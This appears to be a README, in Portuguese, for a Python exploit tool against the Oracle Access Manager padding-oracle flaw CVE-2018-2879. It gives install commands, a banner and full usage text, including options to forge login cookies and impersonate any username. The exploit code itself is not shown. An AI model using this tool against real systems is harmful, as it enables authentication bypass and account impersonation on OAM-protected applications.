
Exploit para a vulnerabilidade de padding oracle do Oracle Access Manager (CVE-2018-2879)
Explorando a vulnerabilidade de padding oracle do Oracle Access Manager (OAM) (CVE-2018-2879) para realizar bypass de autenticação e fazer login em qualquer aplicativo web protegido pelo OAM usando um nome de usuário válido.
Este exploit é baseado na vulnerabilidade de padding oracle do OAM descoberta pela SEC Consult e foi testado na versão OAM v12.2.1.3.0
https://www.sec-consult.com/en/blog/2018/05/oracle-access-managers-identity-crisis/
pip install urllib3 paddingoracle requests
# python oam-auth-bypass.py -h
$$$$$$\ $$$$$$\ $$\ $$\ $$$$$$\ $$\ $$\ $$$$$$$\
$$ __$$\ $$ __$$\ $$$\ $$$ | $$ __$$\ $$ | $$ | $$ __$$\
$$ / $$ |$$ / $$ |$$$$\ $$$$ | $$ / $$ |$$\ $$\ $$$$$$\ $$$$$$$\ $$ | $$ |$$\ $$\ $$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$$\
$$ | $$ |$$$$$$$$ |$$\$$\$$ $$ | $$$$$$$$ |$$ | $$ |\_$$ _| $$ __$$\ $$$$$$$\ |$$ | $$ |$$ __$$\ \____$$\ $$ _____|$$ _____|
$$ | $$ |$$ __$$ |$$ \$$$ $$ | $$ __$$ |$$ | $$ | $$ | $$ | $$ | $$ __$$\ $$ | $$ |$$ / $$ | $$$$$$$ |\$$$$$$\ \$$$$$$\
$$ | $$ |$$ | $$ |$$ |\$ /$$ | $$ | $$ |$$ | $$ | $$ |$$\ $$ | $$ | $$ | $$ |$$ | $$ |$$ | $$ |$$ __$$ | \____$$\ \____$$\
$$$$$$ |$$ | $$ |$$ | \_/ $$ | $$ | $$ |\$$$$$$ | \$$$$ |$$ | $$ |$$\ $$$$$$$ |\$$$$$$$ |$$$$$$$ |\$$$$$$$ |$$$$$$$ |$$$$$$$ |
\______/ \__| \__|\__| \__| \__| \__| \______/ \____/ \__| \__|\__| \_______/ \____$$ |$$ ____/ \_______|\_______/ \_______/
$$\ $$ |$$ |
\$$$$$$ |$$ |
\______/ \__|
OAM Authentication Bypass Exploit
Developed by: Ayman ElSherif
usage: oam-auth-bypass.py [-h] [-a <agentid>] [-p <prefix>] [-e <Clear-text>]
[-d <Cipher-text>] [-i <username>] [-z <authid>]
[-c <cookie>] [-v]
url
positional arguments:
url URL de um recurso protegido pelo OAM (Oracle WebGate)
optional arguments:
-h, --help mostra esta mensagem de ajuda e sai
-a <agentid>, --agentid <agentid>
ID do Agente para o Oracle Web Gateway a ser usado
-p <prefix>, --prefix <prefix>
Prefixo: um valor encquery codificado em base64 válido com o último bloco começando com um caractere de espaço
-e <Clear-text>, --encrypt <Clear-text>
Valor de texto claro para criptografar
-d <Cipher-text>, --decrypt <Cipher-text>
Valor de texto cifrado para descriptografar
-i <username>, --impersonate <username>
Nome de usuário para criar um cookie de login
-z <authid>, --authid <authid>
ID de autorização
-c <cookie>, --cookie <cookie>
Um cookie de autenticação OAM válido
-v, --verbose Saída detalhada